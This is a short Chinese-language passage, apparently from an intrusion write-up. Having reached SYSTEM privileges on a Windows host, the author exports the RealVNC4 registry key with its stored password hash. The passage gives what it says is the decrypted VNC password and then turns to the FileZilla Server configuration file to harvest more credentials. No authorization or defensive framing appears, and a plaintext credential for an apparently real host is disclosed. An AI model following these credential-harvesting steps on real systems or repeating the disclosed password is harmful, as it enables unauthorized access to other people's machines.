QQ截图sxinfo00.jpg


执行命令 whoami 得到是nt authority\system
执行 命令导出 VNC4注册表

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\]
"UpdateMethod"=dword:00000002
"HTTPPortNumber"="7990"
"PortNumber"="8090"
"AllowHTTP"="0"
"UserPasswdVerifier"="VncAuth"
"Password"="f2c4e23faa4fbb480125ac29043183b7"


解密VNC4密码得到 sxinfo165VNC
接着寻找有价值的信息，得到FileZilla Server.xml内容
